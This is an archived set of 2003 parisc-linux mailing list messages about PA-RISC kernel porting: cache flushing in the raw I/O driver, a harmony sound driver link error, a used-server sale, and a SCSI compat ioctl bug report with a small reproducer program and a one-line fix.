X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] warning: long unsigned int format, time_t arg
Date: Mon, 22 Sep 2003 08:48:32 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <20030922064832.GI29898@lug-owl.de>
References: <20030921190457.GI13172@parcelfarce.linux.theplanet.co.uk> <200309211916.h8LJGNAG011413@hiauly1.hia.nrc.ca> <20030921193229.GJ13172@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="16qp2B0xu0fRvRD7"
X-Trace: ger.gmane.org 1416622796 31393 80.91.229.3 (22 Nov 2014 02:19:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:56 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 22 00:48:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9AF3A483E
	for <parisc-linux@parisc-linux.org>; Mon, 22 Sep 2003 00:48:34 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id D73B84B3E6; Mon, 22 Sep 2003 08:48:32 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20030921193229.GJ13172@parcelfarce.linux.theplanet.co.uk>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19573

--16qp2B0xu0fRvRD7
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sun, 2003-09-21 20:32:29 +0100, Matthew Wilcox <willy@debian.org>
wrote in message <20030921193229.GJ13172@parcelfarce.linux.theplanet.co.uk>:
> On Sun, Sep 21, 2003 at 03:16:23PM -0400, John David Anglin wrote:
> > Possibly, but the pa seems to be about the only port doing this.
>=20
> We're one of the few ports that builds both 32 and 64 bits from the same
> port (actually, we were the first).  MIPS recently converted, and S390
> before them.  PPC might in the future, and I doubt Sparc ever will.

Sparc won't go there - sparc32 and ultra-sparc are really two different
things...

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
   ret =3D do_actions((curr | FREE_SPEECH) & ~(NEW_COPYRIGHT_LAW | DRM | TC=
PA));

--16qp2B0xu0fRvRD7
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE/bptAHb1edYOZ4bsRAss3AJ4++AjMwSLeLE6cRFxgSQXmvynAxwCfcNED
mh8qAlzwtU7Tnx2AD1UM3SQ=
=nqoO
-----END PGP SIGNATURE-----

--16qp2B0xu0fRvRD7--


From - Thu Nov 08 21:29:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Stephen C. Tweedie" <sct@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Fwd: [parisc-linux] Problems with raw interface.]
Date: 22 Sep 2003 11:47:30 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <1064227649.3071.6.camel@sisko.scot.redhat.com>
References: <1063919293.16536.2.camel@dhcp23.swansea.linux.org.uk>
	 <1063989244.2834.48.camel@sisko.scot.redhat.com>
	 <20030921053555.GA5312@dsl2.external.hp.com>
	 <20030921142504.GD13172@parcelfarce.linux.theplanet.co.uk>
	 <20030922050016.GB30351@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622796 31394 80.91.229.3 (22 Nov 2014 02:19:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:56 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	Ranjith Sudarsanan <ranjith_sudarsanan@hp.com>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>,
	Stephen Tweedie <sct@redhat.com>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 22 04:47:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sisko.scot.redhat.com (82-41-8-82.cable.ubr02.edin.blueyonder.co.uk [82.41.8.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 258C6483E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Sep 2003 04:47:48 -0600 (MDT)
Original-Received: from sisko.scot.redhat.com (localhost [127.0.0.1])
	by sisko.scot.redhat.com (8.12.8/8.12.8) with ESMTP id h8MAlWc9018549;
	Mon, 22 Sep 2003 11:47:32 +0100
Original-Received: (from sct@localhost)
	by sisko.scot.redhat.com (8.12.8/8.12.8/Submit) id h8MAlUWV018546;
	Mon, 22 Sep 2003 11:47:30 +0100
X-Authentication-Warning: sisko.scot.redhat.com: sct set sender to sct@redhat.com using -f
In-Reply-To: <20030922050016.GB30351@dsl2.external.hp.com>
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19574

Hi,

On Mon, 2003-09-22 at 06:00, Grant Grundler wrote:

> BTW, I suspect the following code in 2.4.22 mm/memory.c:map_user_kiobuf()
> deals with this problem:
> 	...
>         while (pgcount--) {
> 	                /* FIXME: flush superflous for rw==READ,
> 			*  probably wrong function for rw==WRITE
> 			*/
> 			flush_dcache_page(iobuf->maplist[pgcount]);
> 	}
> 	...
> 
> [ I got here because rw_raw_dev() calls map_user_kiobuf().]

Well, it might do.  It depends on the architecture, and I know zip about
the parisc cache architecture.  

For writes, we may need to flush cache writes to ram before the IO to
ensure ram is up-to-date.  For reads. we may need to flush pending
writeback before the IO (to ensure that prior cache operations don't end
up being committed on top of the new IO), plus we need to flush the
entire region out of cache after the IO in order to make the new
contents visible.

Where that needs to be done will depend on whether your cache flush
instructions work from physical or virtual addresses.  brw_koivec() is
the place to deal with physical cache flushes and invalidations, as
that's where we do the low-level IO on the struct page.  But you'll need
to do it at a higher level within the raw.c driver itself if you need
access to the virtual addresses.

--Stephen



From - Thu Nov 08 21:29:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Brian Zurbach <briansz@ponymail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Selling my J2240, any interest?
Date: Mon, 22 Sep 2003 04:05:37 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <1064228736.680.95.camel@cool-dual-beast>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622797 31397 80.91.229.3 (22 Nov 2014 02:19:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 22 05:04:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lakemtao01.cox.net (lakemtao01.cox.net [68.1.17.244])
	by dsl2.external.hp.com (Postfix) with ESMTP id 00B294866
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Sep 2003 05:04:10 -0600 (MDT)
Original-Received: from 6-allhosts ([68.98.100.142]) by lakemtao01.cox.net
          (InterMail vM.5.01.06.05 201-253-122-130-105-20030824) with ESMTP
          id <20030922110410.QMGF29208.lakemtao01.cox.net@6-allhosts>
          for <parisc-linux@lists.parisc-linux.org>;
          Mon, 22 Sep 2003 07:04:10 -0400
X-Mailer: Ximian Evolution 1.4.4 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19575

Nice machine, 2x236MHz PA-8200s with 2MB/2MB cache, 256MB, 9.1GB UW
SCSI, CD, Floppy, Visualize fx4 video, currently working well and
running Debian Woody (2.4.17) over serial console.  Has all plastic,
reasonable condition.

I have two of these machines at the moment, so I've decided to sell
one.  I'll even toss in a spare power supply to sweeten the deal.

I know it isn't the latest/greatest, but it's a pretty capable and
incredibly solid inexpensive server with the dual proc configuration. 
Parts could also upgrade an existing J280 to PA-8200s and SMP.

Good home, reasonable offers?  I'm in AZ at the moment but will be in NM
and parts of CO in the next several weeks.  Trying to avoid putting this
one on fleaBay, the weight *scares* people.

Regards,

Brian






From - Thu Nov 08 21:29:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Compile-Error with linux-2.6 and harmony
Date: Mon, 22 Sep 2003 15:30:19 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <3F6EF96B.8070308@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622797 31399 80.91.229.3 (22 Nov 2014 02:19:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 22 07:30:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de (mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id 41D3E4868
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Sep 2003 07:30:25 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (IP-213157024120.dialin.heagmedianet.de [213.157.24.120])
	(authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.10/8.12.7) with ESMTP id h8MDU5KX017249
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Sep 2003 15:30:10 +0200
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4) Gecko/20030624
X-Accept-Language: de-de, de, en-us, en
X-MailScanner: Found to be clean
X-MailScanner-SpamCheck: not spam, SpamAssassin (score=-0.1, required 5,
	USER_AGENT_MOZILLA_UA, X_ACCEPT_LANG)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19576

Hi there,

I tried to compile the latest kernel  from CVS with OSS harmony enabled, 
but at first I got a compiler warning and afterwards a linker error:

    ---------------><------------
      LD      sound/oss/sound.o
      CC      sound/oss/harmony.o
    sound/oss/harmony.c: In function `harmony_driver_callback':
    sound/oss/harmony.c:1237: Warnung: implicit declaration of function
    `ccio_get_fake'
    sound/oss/harmony.c:1237: Warnung: assignment makes pointer from
    integer without a cast
      LD      sound/oss/built-in.o
      .....
     UPD     include/linux/compile.h
      CC      init/version.o
      LD      init/built-in.o
      LD      .tmp_vmlinux1
    sound/built-in.o: In function `harmony_driver_callback':
    sound/built-in.o(.init.text+0x3a0): undefined reference to
    `ccio_get_fake'
    make: *** [.tmp_vmlinux1] Fehler 1
    ---------------><------------

I thought that only the alsa harmony driver makes trouble when linking? 
I also can't find this function "ccio_get_fake" anywhere.
I'm running debian testing with gcc-3.3.1 and binutils 2.12.90.
TIA, Ruediger



From - Thu Nov 08 21:29:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compile-Error with linux-2.6 and harmony
Date: Mon, 22 Sep 2003 15:40:41 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <5BA663C2-ED02-11D7-98CE-0030656F07A2@esiee.fr>
References: <3F6EF96B.8070308@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622797 31404 80.91.229.3 (22 Nov 2014 02:19:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 22 07:40:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id DCF4B4894
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Sep 2003 07:40:45 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 7979A49C21; Mon, 22 Sep 2003 15:40:42 +0200 (CEST)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 1558249BEB; Mon, 22 Sep 2003 15:40:42 +0200 (CEST)
In-Reply-To: <3F6EF96B.8070308@hrzpub.tu-darmstadt.de>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19577

Le lundi, 22 sep 2003, =E0 15:30 Europe/Paris, Ruediger Scholz a =E9crit =
:

> Hi there,
>
> I tried to compile the latest kernel  from CVS with OSS harmony=20
> enabled, but at first I got a compiler warning and afterwards a linker=20=

> error:
>

this

>    ---------------><------------
>      LD      sound/oss/sound.o
>      CC      sound/oss/harmony.o
>    sound/oss/harmony.c: In function `harmony_driver_callback':
>    sound/oss/harmony.c:1237: Warnung: implicit declaration of function
>    `ccio_get_fake'
>    sound/oss/harmony.c:1237: Warnung: assignment makes pointer from
>    integer without a cast

has nothing to do with this:

>
>    sound/built-in.o: In function `harmony_driver_callback':
>    sound/built-in.o(.init.text+0x3a0): undefined reference to
>    `ccio_get_fake'
>    make: *** [.tmp_vmlinux1] Fehler 1


>
> I thought that only the alsa harmony driver makes trouble when=20
> linking? I also can't find this function "ccio_get_fake" anywhere.

yeah that's known. ALSA Harmony won't link at the moment. Be patient,=20
this will be fixed ;)


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/=




From - Thu Nov 08 21:29:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compile-Error with linux-2.6 and harmony
Date: Mon, 22 Sep 2003 15:10:26 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20030922141026.GP13172@parcelfarce.linux.theplanet.co.uk>
References: <3F6EF96B.8070308@hrzpub.tu-darmstadt.de> <5BA663C2-ED02-11D7-98CE-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622797 31405 80.91.229.3 (22 Nov 2014 02:19:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:57 +0000 (UTC)
Cc: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>,
	parisc-linux@lists.parisc-linux.org
To: Thibaut =?iso-8859-1?Q?VAR=C8NE?= <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 22 08:10:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 017A64866
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Sep 2003 08:10:29 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A1ROU-0000zP-7o; Mon, 22 Sep 2003 15:10:26 +0100
Content-Disposition: inline
In-Reply-To: <5BA663C2-ED02-11D7-98CE-0030656F07A2@esiee.fr>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19578

On Mon, Sep 22, 2003 at 03:40:41PM +0200, Thibaut VARNE wrote:
> >   sound/oss/harmony.c:1237: Warnung: implicit declaration of function
> >   `ccio_get_fake'
> 
> has nothing to do with this:
> 
> >   sound/built-in.o(.init.text+0x3a0): undefined reference to
> >   `ccio_get_fake'

Yes it does.  The function no longer exists, so there's no prototype
for it.  OSS harmony needs to get fixed to use the parisc_device and
the generic DMA mapping stuff.

> >I thought that only the alsa harmony driver makes trouble when 
> >linking? I also can't find this function "ccio_get_fake" anywhere.
> 
> yeah that's known. ALSA Harmony won't link at the moment. Be patient, 
> this will be fixed ;)

The ALSA harmony doesn't work either, and for similar reasons, though
it'll be harder to fix.  Basically, ALSA has to get converted to
the generic DMA mapping model rather than being so bus-type centric.
And that's a huge job because ALSA is a complete disgrace to humanity.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "SUDARSANAN,RANJITH (HP-India,ex2)" <ranjith_sudarsanan@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem with SCSI_IOCTL_GET_PCI ioctl
Date: Mon, 22 Sep 2003 22:43:00 +0530
Lines: 302
Approved: news@gmane.org
Message-ID: <A11077E28200D51182EA00D0B775525309AA614D@xin02.india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C3812C.C6304B46"
X-Trace: ger.gmane.org 1416622798 31410 80.91.229.3 (22 Nov 2014 02:19:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 22 11:13:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sngrel5.hp.com (sngrel5.hp.com [192.6.86.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 510C9483E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Sep 2003 11:13:07 -0600 (MDT)
Original-Received: from XIN02.india.hp.com (xin02.india.hp.com [15.10.41.164])
	by sngrel5.hp.com (Postfix) with ESMTP id D8376166
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Sep 2003 01:13:02 +0800 (SGP)
Original-Received: by xin02.india.hp.com with Internet Mail Service (5.5.2656.59)
	id <TKHXQLKZ>; Mon, 22 Sep 2003 22:43:00 +0530
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19579

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C3812C.C6304B46
Content-Type: text/plain

Hi All,

I found a problem with ioctl SCSI_IOCTL_GET_PCI. This ioctl returns the slot
name. I got the following error upon using this ioctl. The program can
reproduce this error. This problems is not there on IA64 kernels.

		sys32_ioctl: Unknown cmd fd(3) cmd(00005387) arg(faf00370)

I found this problem in the kernel version 2.4.20-pa18 and was able to
reproduce the problem on 2.4.22-pa3. I am not sure if this problem is fixed
yet in 2.6.X 

This error can be reproduced using the following program.

/*BEGIN PROGRAM*/

#include <stdio.h>
#include <fcntl.h>
main ()
{
        int tst;

        struct file *fd;
typedef struct sg_scsi_id { 
    int host_no;        
    int channel;
    int scsi_id;        
    int lun;
    int scsi_type;     
    short h_cmd_per_lun;
    short d_queue_depth;
    int unused[2];      
} sg_scsi_id_t; 

struct sg_scsi_id sg_info;

char slot_name[16];

fd=open("/dev/sg0",O_RDWR);
printf("fd=%d\n",fd);
        tst=ioctl(fd, 0x2276, &sg_info);
        printf("return from GET_SCSI_ID=%d\n",tst);
        tst=ioctl(fd, 0x5387, slot_name);
        printf("return from SCSI_IOCTL_GET_PCI=%d, %s\n",tst,slot_name);
}

/* END PROGRAM */

Kernel:
oak:/home/sranjith# uname -a
Linux oak 2.4.22-pa3 #1 Thu Sep 18 23:19:58 IST 2003 parisc64 unknown

Output after running the program:
oak:/home/sranjith# ./a.out
fd=3
return from GET_SCSI_ID=0
sys32_ioctl: Unknown cmd fd(3) cmd(00005387) arg(faf00370)
return from SCSI_IOCTL_GET_PCI=-1, 

I traced this error down to ioctl32.c line no. ~ 3056 to 3063

/* Big S */
COMPATIBLE_IOCTL(SCSI_IOCTL_GET_IDLUN)
COMPATIBLE_IOCTL(SCSI_IOCTL_DOORLOCK)
COMPATIBLE_IOCTL(SCSI_IOCTL_DOORUNLOCK)
COMPATIBLE_IOCTL(SCSI_IOCTL_TEST_UNIT_READY)
COMPATIBLE_IOCTL(SCSI_IOCTL_TAGGED_ENABLE)
COMPATIBLE_IOCTL(SCSI_IOCTL_TAGGED_DISABLE)
COMPATIBLE_IOCTL(SCSI_IOCTL_GET_BUS_NUMBER)
COMPATIBLE_IOCTL(SCSI_IOCTL_SEND_COMMAND)
COMPATIBLE_IOCTL(SCSI_IOCTL_GET_PCI) 		/*This entry is missing in
the ioctl translation table*/
/* Big V */
COMPATIBLE_IOCTL(VT_SETMODE)
COMPATIBLE_IOCTL(VT_GETMODE)
COMPATIBLE_IOCTL(VT_GETSTATE)
COMPATIBLE_IOCTL(VT_OPENQRY)

The above entry fixed the problem. I am surprised that ioctls code wasn't
tested. When I see the code. This seems to be the last ioctl which was
added.

I am not sure if I should post this here, please let me know if I am wrong.


with warm regards,
Ranjith Sudarsanan

--------------------------------------
Ranjith Sudarsanan
Rage Team
30CA, Cunningham Road
Bangalore
Off: 91-80-205 3190
Res: 91-80-522 2577 
web: http://nt2651.india.hp.com:8080/ <http://nt2651.india.hp.com:8080/> 
--------------------------------------
"When the head bows, it meets the heart and that head which has met the
heart gets the crown!!! - Sri Sri"


------_=_NextPart_001_01C3812C.C6304B46
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
